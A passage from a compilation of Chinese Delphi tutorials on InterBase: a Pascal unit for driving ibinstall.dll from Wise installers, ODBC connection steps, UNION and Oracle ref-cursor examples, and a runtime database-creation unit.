if Reg.OpenKeyReadOnly('Software\Borland\InterBase\CurrentVersion') then begin

Filename := FixPath(Reg.ReadString('ServerDirectory'))+'ibguard.exe';

Reg.CloseKey;

end;

end;

end;

finally

Reg.free;

end;

result := filename;

end;

//———————————————————————————————————————————————————————

procedure GetVariable(var DLLParams: ParamRec; const VarName: string; var VarValue: string);

var i: Integer;

szVarName: array[0..255] of char;

begin

VarValue := '';

szVarName[0] := '%';

StrPCopy(@szVarName[1],VarName);

StrCat(szVarName,'%');

for i := 0 to DLLParams.wCurrReps do begin

if (StrComp(szVarName,@DLLParams.szRepName[i * DLLParams.wRepNameWidth]) = 0) then begin

VarValue := StrPas(@DLLParams.szRepStr[i * DLLParams.wRepStrWidth]);

Exit;

end;

end;

end;

//————————————————————————————————————————————————————

procedure SetVariable(var DLLParams: ParamRec; const VarName: string; const NewValue: string);

var i: Integer;

szVarName: array[0..255] of char;

begin

szVarName[0] := '%';

StrPCopy(@szVarName[1],VarName);

StrCat(szVarName,'%');

for i := 0 to DLLParams.wCurrReps do begin

if (StrComp(szVarName,@DLLParams.szRepName[i * DLLParams.wRepNameWidth]) = 0) then begin

StrPCopy(@DLLParams.szRepStr[i * DLLParams.wRepStrWidth],NewValue);

Exit;

end;

end;

StrCopy(@DLLParams.szRepName[DLLParams.wCurrReps * DLLParams.wRepNameWidth],szVarName);

StrPCopy(@DLLParams.szRepStr[DLLParams.wCurrReps * DLLParams.wRepStrWidth],NewValue);

DLLParams.wCurrReps := DLLParams.wCurrReps + 1;

end;

//————————————————————————————————————————————————————

function InterbaseVersion : cardinal;

var Filename : string;

fileinfo : VS_FIXEDFILEINFO;

begin

result := 0;

filename := GetInterbaseServerDirectory;

if FileExists(Filename) then begin

if GetFileVersion(filename,fileinfo) then begin

result := fileinfo.dwProductVersionMS;

end;

end;

end;

//—————————————————————————————————————————————————————

function InterbaseRunning : boolean;

begin

result := boolean(FindWindow('IB_Server','InterBase Server')

or FindWindow('IB_Guard','InterBase Guardian'));

end;

//—————————————————————————————————————————————————————

function ShutDownInterbase : boolean;

var IBSRVHandle,IBGARHandle : THandle;

begin

if IsNT then begin

ServiceStop('','InterBaseGuardian');

end else begin

IBGARHandle := FindWindow('IB_Guard','InterBase Guardian');

if IBGARHandle > 0 then begin

PostMessage(IBGARHandle,31,0,0);

PostMessage(IBGARHandle,16,0,0);

end;

IBSRVHandle := FindWindow('IB_Server','InterBase Server');

if IBSRVHandle > 0 then begin

PostMessage(IBSRVHandle,31,0,0);

PostMessage(IBSRVHandle,16,0,0);

end;

end;

result := (boolean(FindWindow('IB_Server','InterBase Server')

or FindWindow('IB_Guard','InterBase Guardian')) = false);

end;

//—————————————————————————————————————————————————————

function StartInterbase : boolean;

var Filename : string;

begin

filename := GetInterbaseServerDirectory;

if FileExists(Filename) then begin

if IsNT then begin

ServiceStart('','InterBaseGuardian');

end else begin

WinExec(pchar(Filename),0);

end;

end;

result := boolean(FindWindow('IB_Server','InterBase Server')

or FindWindow('IB_Guard','InterBase Guardian'));

end;

//—————————————————————————————————————————————————————

function InterbaseInstalled : boolean;

var Filename : string;

Running : boolean;

begin

Running := InterbaseRunning;

if Running = false then begin

filename := GetInterbaseServerDirectory;

if FileExists(Filename) then begin

result := true;

end else result := false;

end else result := true;

end;

//—————————————————————————————————————————————————————

function IBOptionsFromString(Str : String) : TIBInstallOptions;

begin

result := [];

if Str = '' then result := [opINTERBASE];

if (pos('A',Str) > 0) then result := result + [opIB_SERVER];

if (pos('B',Str) > 0) then result := result + [opIB_CLIENT];

if (pos('C',Str) > 0) then result := result + [opIB_CMD_TOOLS];

if (pos('D',Str) > 0) then result := result + [opIB_CMD_TOOLS_DB_MGMT];

if (pos('E',Str) > 0) then result := result + [opIB_CMD_TOOLS_USR_MGMT];

if (pos('F',Str) > 0) then result := result + [opIB_CMD_TOOLS_DB_QUERY];

if (pos('G',Str) > 0) then result := result + [opIB_GUI_TOOLS];

if (pos('H',Str) > 0) then result := result + [opIB_DOC];

if (pos('I',Str) > 0) then result := result + [opIB_EXAMPLES];

if (pos('J',Str) > 0) then result := result + [opIB_EXAMPLE_API];

if (pos('K',Str) > 0) then result := result + [opIB_EXAMPLE_DB];

if (pos('L',Str) > 0) then result := result + [opIB_DEV];

if (pos('M',Str) > 0) then result := result + [opIB_REPLICATION];

if (pos('N',Str) > 0) then result := result + [opIB_REPL_MANAGER];

if (pos('O',Str) > 0) then result := result + [opIB_REPL_SERVER];

if (pos('P',Str) > 0) then result := result + [opIB_CONNECTIVITY];

if (pos('Q',Str) > 0) then result := result + [opIB_ODBC_CLIENT];

if (pos('R',Str) > 0) then result := result + [opIB_JDBC];

if (pos('S',Str) > 0) then result := result + [opIB_JDBC_CLIENT];

if (pos('T',Str) > 0) then result := result + [opIB_JDBC_SERVER];

end;

//—————————————————————————————————————————————————————

// TIBWiseInstall class by Magnus Flysj? 2001

//—————————————————————————————————————————————————————

constructor TIBWiseInstall.Create;

var DestDir : TEXT;

DLLPath : pchar;

IBDLL : string;

begin

inherited Create;

OnInstallError := nil;

OnInstallStatus := nil;

GetMem(FIBHandle,4);

FIBHandle^ := 0;

FIBInstallOptions := [opINTERBASE];

FSourceDirectory := '';

FStartAfterInstall := false;

FUninstallFile := '';

FSilent := false;

IBDLL := '';

DLLPath := StrAlloc(255);

fillchar(DLLPath^,255,0);

try

GetModuleFilename(HInstance,DLLPath,255);

IBDLL := fixpath(ExtractFilePath(DLLPath)) + IB_INSTALL_DLL;

finally

StrDispose(DLLPath);

end;

FDLLInst := LoadLibrary(pchar(IBDLL));

if FDLLInst > 0 then begin

@Isc_install_clear_options := GetProcAddress(FDLLInst,'isc_install_clear_options');

@Isc_install_execute := GetProcAddress(FDLLInst,'isc_install_execute');

@Isc_install_get_info := GetProcAddress(FDLLInst,'isc_install_get_info');

@Isc_install_get_message := GetProcAddress(FDLLInst,'isc_install_get_message');

@Isc_install_load_external_text := GetProcAddress(FDLLInst,'isc_install_load_external_text');

@Isc_install_precheck := GetProcAddress(FDLLInst,'isc_install_precheck');

@Isc_install_set_option := GetProcAddress(FDLLInst,'isc_install_set_option');

@Isc_uninstall_execute := GetProcAddress(FDLLInst,'isc_uninstall_execute');

@Isc_uninstall_precheck := GetProcAddress(FDLLInst,'isc_uninstall_precheck');

@Isc_install_unset_option := GetProcAddress(FDLLInst,'isc_install_unset_option');

end else halt;

DestDir := StrAlloc(255);

fillchar(DestDir^,255,0);

try

if Assigned(isc_install_get_info) then begin

isc_install_get_info(isc_install_info_destination,0,DestDir,255);

FDestDirectory := DestDir;

end;

finally

StrDispose(DestDir);

end;

end;

destructor TIBWiseInstall.Destroy;

begin

if FIBHandle^ <> 0 then isc_install_clear_options(FIBHandle);

FreeMem(FIBHandle,4);

if FDLLInst > 0 then FreeLibrary(FDLLInst);

inherited Destroy;

end;

function IB_FP_ERROR(msg: MSG_NO; data: Pointer; error_msg: TEXT): Integer; stdcall;

var IBWiseInstall : TIBWiseInstall;

Handled : boolean;

begin

Handled := true;

IBWiseInstall := TIBWiseInstall(data);

if Assigned(IBWiseInstall) then begin

if not IBWiseInstall.Silent then begin

if Assigned(IBWiseInstall.OnInstallError) then result := IBWiseInstall.OnInstallError(IBWiseInstall.FHWND,

IBWiseInstall,msg,Error_msg,Handled) else handled := false;

if handled = false then result := isc_install_fp_abort;

end else result := isc_install_fp_abort;

end else result := isc_install_fp_abort;

end;

function IB_FP_STATUS(status: integer; data: Pointer; const status_msg: TEXT): Integer; stdcall;

var IBWiseInstall : TIBWiseInstall;

begin

IBWiseInstall := TIBWiseInstall(data);

result := status;

if Assigned(IBWiseInstall) then begin

if not IBWiseInstall.Silent then begin

if Assigned(IBWiseInstall.OnInstallStatus) then

IBWiseInstall.OnInstallStatus(IBWiseInstall.FHWND,IBWiseInstall,Status,Status_Msg);

end;

end;

end;

procedure TIBWiseInstall.SetOptions;

begin

if Assigned(isc_install_clear_options) then isc_install_clear_options(FIBHandle);

if Assigned(isc_install_set_option) then begin

if (FIBInstallOptions = []) then isc_install_set_option(FIBHandle,INTERBASE);

if (opIB_SERVER in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_SERVER);

if (opIB_CLIENT in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_CLIENT);

if (opIB_CMD_TOOLS in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_CMD_TOOLS);

if (opIB_CMD_TOOLS_DB_MGMT in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_CMD_TOOLS_DB_MGMT);

if (opIB_CMD_TOOLS_USR_MGMT in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_CMD_TOOLS_USR_MGMT);

if (opIB_CMD_TOOLS_DB_QUERY in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_CMD_TOOLS_DB_QUERY);

if (opIB_GUI_TOOLS in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_GUI_TOOLS);

if (opIB_DOC in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_DOC);

if (opIB_EXAMPLES in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_EXAMPLES);

if (opIB_EXAMPLE_API in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_EXAMPLE_API);

if (opIB_EXAMPLE_DB in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_EXAMPLE_DB);

if (opIB_DEV in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_DEV);

if (opIB_REPLICATION in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_REPLICATION);

if (opIB_REPL_MANAGER in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_REPL_MANAGER);

if (opIB_REPL_SERVER in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_REPL_SERVER);

if (opIB_CONNECTIVITY in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_CONNECTIVITY);

if (opIB_ODBC_CLIENT in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_ODBC_CLIENT);

if (opIB_JDBC in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_JDBC);

if (opIB_JDBC_CLIENT in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_JDBC_CLIENT);

if (opIB_JDBC_SERVER in FIBInstallOptions) then isc_install_set_option(FIBHandle,IB_JDBC_SERVER);

end;

end;

function TIBWiseInstall.PreCheck : boolean;

begin

SetOptions;

FLastError := isc_install_precheck(FIBHandle^,pchar(FSourceDirectory),pchar(FDestDirectory));

if FLastError > isc_install_success then result := false else result := true;

end;

function TIBWiseInstall.Install : boolean;

var UnIPFile : pchar;

begin

if InterbaseRunning then begin

FLastError := isc_install_server_running;

result := false;

end else begin

if PreCheck then begin

UnIPFile := StrAlloc(255);

try

Fillchar(UnIPFile^,255,0);

FLastError := isc_install_execute(FIBHandle^,pchar(FSourceDirectory),pchar(FDestDirectory),

@IB_FP_STATUS,self,@IB_FP_ERROR,self,UnIPFile);

if FLastError > isc_install_success then result := false else begin

FUninstallFile := UnIPFile;

result := true;

end;

if StartAfterInstall then StartInterbase;

finally

StrDispose(UnIPFile);

end;

end else result := false;

end;

end;

function TIBWiseInstall.GetErrorDescription(Error : MSG_NO) : string;

var Msgtext : TEXT;

begin

Msgtext := StrAlloc(255);

Fillchar(Msgtext^,255,0);

try

isc_install_get_message(FIBHANDLE^,Error,Msgtext,255);

result := Msgtext;

finally

StrDispose(Msgtext);

end;

end;

//——————————————————————————————————————————————————————

function IBInstallError(Handle : HWND; Caller : TIBWiseInstall; Msg: Longint;

Error_msg: string; var Handled : boolean) : integer;

var ErrMess : String;

ErrRes : integer;

Shwnd : HWND;

begin

if Assigned(StatusForm) then begin

if StatusForm.Visible then begin

Shwnd := StatusForm.Handle

end else Shwnd := Handle;

end else Shwnd := Handle;

ErrMess := 'Database Installation Error '+inttostr(Msg)+#13#10+Error_msg;

ErrRes := MessageBox(Shwnd,Pchar(ErrMess),'Database Installation Error',MB_ICONERROR+MB_ABORTRETRYIGNORE);

result := isc_install_fp_abort;

Case ErrRes of

IDABORT: result := isc_install_fp_abort;

IDIGNORE: result := isc_install_fp_continue;

IDRETRY: result := isc_install_fp_retry;

end;

Handled := true;

end;

procedure IBInstallStatus(Handle : HWND; Caller : TIBWiseInstall; Status : integer; const Status_msg : string);

begin

if Assigned(StatusForm) then begin

StatusForm.Progress := Status;

StatusForm.Status := Status_msg;

StatusForm.BringToFront;

StatusForm.Show;

end;

end;

//—————————————————————————————————————————————————————

// InstallIBServer returns IBStatus = 'Success' upon success otherwise it

// contains the error that ibinstall.dll reports.

//—————————————————————————————————————————————————————

unction InstallInterbase(var DLLParams: ParamRec): LongBool; pascal; export;

var IBWiseInstall : TIBWiseInstall;

IBInstallMode : string;

IBDestDirectory : string;

IBSourceDirectory : string;

IBOPTIONS : string;

IBStatus : string;

IBUninstallfile : string;

begin

IBWiseInstall := TIBWiseInstall.Create;

IBStatus := 'DLLError';

try

GetVariable(DLLParams,'IBINSTALLMODE',IBInstallMode);

GetVariable(DLLParams,'IBDESTDIR',IBDestDirectory);

GetVariable(DLLParams,'IBSRCDIR',IBSourceDirectory);

GetVariable(DLLParams,'IBOPTIONS',IBOPTIONS);

IBWiseInstall.WindowHandle := DLLParams.hMainWnd;

IBWiseInstall.IBInstallOptions := IBOptionsFromString(IBOPTIONS);

IBWiseInstall.Silent := (pos('S',IBInstallMode) > 0);

IBWiseInstall.StartAfterInstall := (pos('R',IBInstallMode) > 0);

if IBDestDirectory <> '' then IBWiseInstall.DestDirectory := IBDestDirectory;

IBWiseInstall.SourceDirectory := IBSourceDirectory;

IBWiseInstall.OnInstallError := IBInstallError;

IBWiseInstall.OnInstallStatus := IBInstallStatus;

StatusForm := TStatusForm.CreateParented(DLLParams.hMainWnd);

try

try

if IBWiseInstall.Install then begin

IBStatus := 'Success';

IBUninstallfile := IBWiseInstall.UninstallFile;

end else begin

IBStatus := IBWiseInstall.GetErrorDescription(IBWiseInstall.LastError);

end;

result := true;

except

result := false;

end;

finally

StatusForm.free;

end;

finally

SetVariable(DLLParams,'IBUIFILE',IBUninstallfile);

SetVariable(DLLParams,'IBSTATUS',IBStatus);

IBWiseInstall.free;

end;

end;

function GetIBInstallDir(var DLLParams: ParamRec): LongBool; pascal; export;

var IBWiseInstall : TIBWiseInstall;

begin

IBWiseInstall := TIBWiseInstall.Create;

try

try

SetVariable(DLLParams,'IBDestDirectory',IBWiseInstall.DestDirectory);

result := true;

except

result := false;

end;

finally

IBWiseInstall.free;

end;

end;

end.

--------------------------------------------------------------------------------

哪里有Interbase和其它更多信息？

关于WISE solutions公司的信息可以在WISE solutions公司的主页找到：

http://www.wisesolutions.com

Interbase可以免费从Borland Interbase主页下载：

http://www.borland.com/interbase/downloads/

其它关于Interbase的网页可以在这里找到：

http://www.borland.com/interbase/websites.html

更多关于IBINSTALL.DLL的API的信息可以在Interbase开发者文档中找到：

ftp://ftpc.inprise.com/pub/interbase/techpubs/ib_b60_doc.zip


InterBase 对两个表进行Union操作

create database "a.gdb" user "sysdba" password "masterkey";

create table table1 (f1 char(5) not null, f2 char(5) not null);

create table table2 (f1 char(5) not null, f2 char(5) not null);

commit;

insert into table1 values ("1","a");

insert into table2 values ("2","b");

select * from table1 union select * from table2;

上面的 select 查询将把两表中的每个记录都联合到一个结果集中.

注意： select * 中能用于两个具有相同表结构的表。


连接Interbase

2001-03-12· ilamei·yesky

    Delphi是目前开发Client/Server数据库应用程序非常优秀的开发工具，它通过SQL Link所包含的各种ODBC驱动程序来访问RDBMS，包括Oracle，Informix，Sysbase，DB2，InterBase，SQL Server等。Delphi自身的可视化编程环境与面向对象的编程语言Object Pascal的完美结合，使得Client/Server数据库应用程序的开发过程十分简洁，高效。

    下面我们介绍如何用Delphi的来访问数据库服务器，作为一个具体的例子，数据库服务器采用InterBase Server5。

    一、 创建远程数据库：

    在数据库服务器上创建数据库是开发Client/Server数据库应用程序的前提。

    首先，在服务器上安装好InterBase Server。InterBase Server会在服务器上自动创建一个缺省的系统帐号，用户名为：SYSDBA。密码为：masterkey。第一次使用InterBase Server的时候，先用这个用户名和密码登陆，成功后开始创建新的数据库和新的用户帐号。

    用InterBase Server的 File | Server login注册Remote Server：

    Server：wlm

    Network Protocal：TCP/IP

    User Name：SYSDBA

    Password：masterkey

    注册成功后，选择Tasks | User Security… | Add User…，在User Configuration中定义新的用户帐号：

    User Name：FRJ

    Password：netserver

    Confirm Password：netserver

    然后，用新的帐号FRJ登陆，创建属于FRJ的数据库。

    打开InterBase Windows ISQL，选择 File | Create Database…，选择Remote Database，设置如下：

    Server：wlm

    Netwrk Prototal：TCP/IP

    Database：f:\frj\ExampleDB.gdb

    User Name：FRJ

    Password：netserver

    创建好之后，先连接数据库，用 File | Connect to Database…。连接成功之后才能对其进行操作。

    在SQL语句区，输入如下SQL语句，创建表格：

    Create Table PEOPLE

    (

      Num CHAR(4) NOT NULL PRIMARY KEY,

      Name VARCHAR(8) NOT NULL

      Address VARCHAR(30) NOT NULL

      );

    按Ctrl+R，执行此SQL语句，生成PEOPLE表。然后在输入如下语句，插入一条记录：

    Insert into PEOPLE ( '001', '李小明', '东二楼')

    按Ctrl+R，执行，然后选择 File | Commit Wok，提交本次操作。

    服务器端的工作基本完成，下面是客户端的工作。

    二、 配置ODBC驱动：

    首先，注册ODBC数据源。注册ODBC数据源是非常重要的一步，因为Delphi是通过ODBC驱动程序来访问特定的数据源。

    打开控制面板上的32位ODBC数据源，创建新数据源，在列表框中选择InterBase Server的ODBC驱动程序-InterBase 5.X Driver by Visigenic(*.gdb)。在InterBase ODBC Configuration对话框中做如下设置：

    Data Source Name：FRJDB

    Description：Database of FRJ

    Network Protocal：TCP/IP

    Database：f:\frj\ExampleDB.gdb

    Server：wlm

    User Name：FRJ

    Password：netserver

    配好之后，可以测试一下连接是否成功。


从Oracle存贮过程中得到结果集

 方法是使用存贮过程。此存贮过程必须以游标作为第一个参数。后面可以跟上其它参数。此游标须是 IN/OUT 型的。你可以使用一个通用游标类型，并将此类型定义在一个 package 中。
下面是简短的举例代码：

CREATE package Test_Package
as
type Test_Type is ref cursor;
end;

CREATE PROCEDURE Test_Procedure (
Test_Cursor IN OUT Test_Package.Test_Type)
AS
BEGIN
OPEN Test_Cursor FOR
SELECT *
FROM Test_Table
END Test_Procedure;

在 Delphi 中，你需要正确设置好在存贮过程中定好的参数，一个技巧就是将游标参数在对象检视器中设置为 ftCursor,

现在将一个 Datasource 与存贮过程构件相联，激活该构件，一切就大功告成了。!

PS: 我使用 Oracle 8.1.6! 但相信早期版本理论上也一定适用! ;-)


在运行时生成Interbase对象

运行时执行所有Interbase命令的Interbase 对象（运行时生成Interbase对象）
CoDelphi.com

摘　要：如何在运行时生成Interbase对象?何不使用Interbase工具就改变Interbase数据库的密码/用户名？
关键字：对象　数据库　建立　控件
类　别：数据库
如果应用程序使用Interbase数据库，数据库和全部所需的对象如：如函数，存储过程等必须在运行之前创建。

有一部分命令如：改变管理员的用户名和密码必须通过Interbase的Server manager或Interbase的命令行工具。

通过在项目中包含此单元，你可以执行所有所需的命令如新建数据库，改变管理员密码，建立shadow，函数，过程等等。

要确保程序中已建立此对象。在项目源文件中"Object_Interbase"单元必须是程序使用的标准单元后的第一个单元。

把Object_Interbase包含入你的uses子句中去。你会得到TmyIbDataBase类的名为"ThisDataBase"的变量，我们将用它来Interbase 执行Interbase命令。

//*** 单元开始
unit Object_Interbase;

interface

Uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, Registry, IBDataBase, IBQuery, FileCtrl;

Type
TShadow = ( stManual, stAuto, stConditional );

TMyIbDataBase = Class( TObject )
private
//用户定义类型变量

FShdType : TShadow;

//部件变量
FDataBase : TIBDatabase;
FTransaction : TIBTransaction;
FQuery : TIBQuery;

//布尔变量
FUseDefaultFiles : Boolean;
FConnected : Boolean;
FShadow : Boolean;

//字符串变量
FIBServerPath : String;
FDataBasePath, FShadowPath : String;
FUser, FPassword : String;
FDatabaseName : String;

//过程
Procedure CheckDirPath( Var Value : String );
Procedure ChangetoIBDir;
Procedure CreateComponents;
Procedure InitilizeVariables;
Procedure IBLoadpathfromRegistry;
Procedure SetDataBasePath( Value : String );
Procedure SetShadowPath( Value : String );
Procedure SetAdminName( Value : String );
Procedure SetAdminPassword( Value : String );
Procedure SetDatabaseName ( Value : String );
Procedure SetShadow( Value : Boolean );
Procedure SetShadowType( Value : TShadow );
protected
public
Constructor Create;

//过程
Procedure IBCreateDatabase;
Procedure IBConnectToDatabase;
Procedure IBDisConnecFromDatabase;
Procedure IBCreateShadow;
Procedure IBQueryAssisnSQL( Value : String; CloseAfterExecution : Boolean );
Procedure IBChangeAdminPassword( Value : String );

//部件属性
property IBAppDatabase : TIBDatabase Read FDataBase;
property IBAppTransaction : TIBTransaction Read FTransaction;
property IBAppQuery : TIBQuery Read FQuery;

//用户定义类型变量
property IBShadowType : TShadow Read FShdType Write SetShadowType;

//布尔值属性
property IBConnected : Boolean Read FConnected Default False;
property IBExists : Boolean Read FUseDefaultFiles Default False;
property IBShadow : Boolean Read FShadow Write SetShadow Default False;

//字符串值属性
property IBServerPath : String Read FIBServerPath;
property IBUserName : String Read FUser Write SetAdminName;
property IBPassword : String Read FPassword Write SetAdminPassword;
property IBDatabasePath : String Read FDataBasePath Write SetDataBasePath;
property IBShadowPath : String Read FShadowPath Write SetShadowPath;
property IBDatabaseName : String Read FDatabaseName Write SetDatabaseName;
End;

Var
ThisDataBase : TMyIbDataBase;

implementation

{ TIbDataBase }

Procedure TMyIbDataBase.CheckDirPath( Var Value : String );
Begin
If Value[Length(Value)] <> ''\'' then Value := Value + ''\'';
If not DirectoryExists( Value ) then begin
CreateDir( Value );
End;
End;

Procedure TMyIbDataBase.IBChangeAdminPassword( Value : String );
Var I : Integer;
Begin
ThisDataBase.ChangetoIBDir;
I := WinExec( pchar(''gsec -user '' + ThisDataBase.IBUserName +
'' -password '' + ThisDataBase.IBPassword +
'' -mo '' + ThisDataBase.IBUserName + '' -pw '' +
Value ), 0 );
ThisDataBase.IBPassword := Value;
End;

Procedure TMyIbDataBase.ChangetoIBDir;
Begin
If ThisDataBase.IBExists then ChDir( ThisDataBase.IBServerPath );
End;

Procedure TMyIbDataBase.IBConnectToDatabase;
Begin
If not ThisDataBase.IBConnected then begin
FDataBase.Close;
FDataBase.SQLDialect := 1;
FTransaction.Active := False;
FQuery.Close;
FDataBase.LoginPrompt := False;
FDataBase.Params.Clear;
FDataBase.Params.Add( ''USER_NAME='' + ThisDataBase.IBUserName );
FDataBase.Params.Add( ''PASSWORD='' + ThisDataBase.IBPassword );
FDataBase.DatabaseName := ThisDataBase.IBDatabasePath + IBDatabaseName;
Try
FDataBase.Connected := True;
FTransaction.DefaultDatabase := FDataBase;
Except
End;
FConnected := FDataBase.Connected;
FQuery.Transaction := FTransaction;
FQuery.Database := FDataBase;
FDataBase.DefaultTransaction := FTransaction;
If FConnected then begin
FTransaction.Active := True;
End;
End;
End;

constructor TMyIbDataBase.Create;
Begin
CreateComponents;
InitilizeVariables;
IBLoadpathfromRegistry;
End;

Procedure TMyIbDataBase.CreateComponents;
Begin
FDataBase := TIBDatabase.Create( Application );
FTransaction := TIBTransaction.Create( Application );
FDataBase.DefaultTransaction := FTransaction;
FTransaction.DefaultDatabase := FDataBase;
FQuery := TIBQuery.Create( Application );
FQuery.Database := FDataBase;
FQuery.Transaction := FTransaction;
FQuery.ParamCheck := False;
End;

Procedure TMyIbDataBase.IBCreateDatabase;
Var vmem : TStringList;
S : String;
Begin
S := ExtractFilePath( Application.ExeName );
vmem := TStringList.Create;
vmem.Add( ''Create database "'' + ThisDataBase.IBDatabasePath + ThisDataBase.IBDatabaseName +
''" user "'' + ThisDataBase.IBUserName + ''" password "'' +
ThisDataBase.IBPassword + ''" page_size=2048 Length=50;'');
vmem.Add( ''Commit work;'' );
vmem.Add( ''gfix -w "sync" -user "'' + ThisDataBase.IBUserName + ''" -pa '' +
ThisDataBase.IBPassword + ''" "'' + ThisDataBase.IBDatabasePath +
ThisDataBase.IBDatabaseName + ''"'' );
S := S + ''Sql03EASY05.Sql'';
vmem.SaveToFile( S );
vmem.Free;
ThisDataBase.ChangetoIBDir;
S := ''isql -input '' + S;
winexec( pchar( S ),0 );
DeleteFile( S );
S := ThisDataBase.IBDatabasePath + ThisDataBase.IBDatabaseName;
while not FileExists( S ) do;
ThisDataBase.IBConnectToDatabase;
FConnected := FDataBase.Connected;
End;

Procedure TMyIbDataBase.IBCreateShadow;
Var S, vFname : String;
Begin
If ThisDataBase.IBConnected then begin
Case FShdType of
stAuto : S := ''Auto'';
stManual : S := ''Manual'';
stConditional : S := ''Conditional'';
End;
vFname := Copy( FDatabaseName, 1, pos( ''.'', FDatabaseName ) ) + ''Shd'';
FQuery.Close;
FQuery.SQL.Clear;
FQuery.SQL.Text := ''Create Shadow 1 '' + S + '' "'' + FShadowPath +
vFname + ''" Length = 10000'';
FQuery.ExecSQL;
Application.ProcessMessages;
End;
End;

Procedure TMyIbDataBase.InitilizeVariables;
Begin
FDataBasePath := '''';
FShadowPath := '''';
FIBServerPath := '''';
FUser := '''';
FPassword := '''';
FDatabaseName := '''';
FShdType := stConditional;
FConnected := False;
End;

Procedure TMyIbDataBase.IBLoadpathfromRegistry;
Var vReg : TRegistry;
Begin
vReg := TRegistry.Create;
vReg.RootKey := HKEY_LOCAL_MACHINE;
If vReg.OpenKey( ''\Software\InterBase Corp\InterBase\CurrentVersion'', False ) then begin
FIBServerPath := vreg.ReadString( ''ServerDirectory'' );
FUseDefaultFiles := True;
End else begin
FIBServerPath := ExtractFilePath( Application.ExeName );
FUseDefaultFiles := False;
End;
vReg.CloseKey;
vReg.Free;
End;

Procedure TMyIbDataBase.SetAdminName(Value: String);
Begin
If ( Value <> FUser ) then FUser := Value;
End;

Procedure TMyIbDataBase.SetAdminPassword(Value: String);
Begin
If ( Value <> FPassword ) then FPassword := Value;
End;

Procedure TMyIbDataBase.SetDatabaseName(Value: String);
Begin
If ( Value <> FDatabaseName ) then FDatabaseName := Value;
End;

Procedure TMyIbDataBase.SetDataBasePath( Value: String );
Begin
If ( Value <> FDataBasePath ) then begin
FDataBasePath := Value;
CheckDirPath( FDataBasePath );
End;
End;

Procedure TMyIbDataBase.SetShadow(Value: Boolean);
Begin
If ( Value <> FShadow ) Then FShadow := Value;
End;

Procedure TMyIbDataBase.SetShadowPath( Value: String );
Begin
If ( Value <> FShadowPath ) then begin
FShadowPath := Value;
CheckDirPath( FShadowPath );
End;
End;

Procedure TMyIbDataBase.SetShadowType(Value: TShadow);
Begin
If ( Value <> FShdType ) then FShdType := Value;
End;

Procedure TMyIbDataBase.IBQueryAssisnSQL( Value : String; CloseAfterExecution: Boolean);
Begin

FQuery.Close;
FQuery.SQL.Clear;
FQuery.SQL.Text := Value;
try
FQuery.ExecSQL;
except
End;
if CloseAfterExecution then begin
FQuery.Close;
FQuery.SQL.Clear;
FQuery.SQL.Text := ''Commit'';
FQuery.ExecSQL;
FQuery.Close;
end;
End;

procedure TMyIbDataBase.IBDisConnecFromDatabase;
begin
FDataBase.CloseDataSets;
FDataBase.ForceClose;
FConnected := FDataBase.Connected;
end;

Initialization
If ( ThisDataBase = NIL ) then ThisDataBase := TMyIbDataBase.Create;
Finalization
If ( ThisDataBase <> NIL ) then begin
ThisDataBase.Free;
ThisDataBase := NIL;
End;
End.

//**　单元结束

例子：
---------

1.新建数据库

如果你要在名为"c:\test\"的目录下使用管理员名字"LION"和密码"king"来新建一称为"Sample.Gdb"的数据库，只要使用本简单对象的属性和方法，我们就可以创建数据库。

ThisDataBase.IBUserName := ''LION'';
ThisDataBase.IBPassword := ''king'';
ThisDataBase.IBDatabasePath := ''c:\test\'';
ThisDataBase.IBDatabaseName := ''Sample.Gdb'';
ThisDataBase.IBCreateDatabase;

属性IBUserName, IBPassword, IBDatabaseName只能斌值一次。

2.新建Shadow

ThisDataBase.IBConnectToDatabase;
ThisDatabse.IBShadowType := stAuto;
ThisDatabse.IBCreateShadow;

3.改变数据库密码

ThisDataBase.IBChangeAdminPassword( ''NewPassword'' );

4.新建数据表

ThisDatabase.IBQueryAssisnSQL( ''CREATE TABLE USERS( '' +
''USERCODE VARCHAR(6) NOT NULL , '' +
''USERNAME VARCHAR(20) NOT NULL , '' +
''USERACTIVE VARCHAR(1) DEFAULT "Y", '', True );

用同样的方法你可以为确定存储过程、函数，或为建立所有使用本方法的对象而定出脚本。

5. 属性IBAppDatabase, IBAppTransaction and IBAppQuery可用于对IBTable部件斌值，如果你要使用此部件。

万一你不再使用Interbase部件，可以修改本对象使之能和简单数据库部件一起工作。


开发网络数据库应用

---- Delphi 是具可视化界面的面向对象编程语言，它以其功能强大、简便易用等诸多特性，深受编程人员的欢迎。Delphi 中提供了数据库引擎 BDE(Borland Database Engine)，并内含众多的数据库调用构件，为编程人员开发客户/服务器应用程序提供了方便。通常情况下，利用 Delphi 开发数据库应用程序，可以使用TTable、TDataSource、TDBEdit、TDBNavigator等构件。只要正确设置了构件的某些属性，再编写必要的程序代码对一些特定事件进行处理，就能够完成对多种数据库进行的数据处理，例如：记录的输入、修改、删除和查询等。这样做虽然只需要编写极少量的程序代码就能达到很好的效果，但如果在程序设计过程中，某些数据表的结构发生了改变，则必须修改与此数据表有关的所有构件的属性，这将使程序员陷入繁琐的重复劳动中。

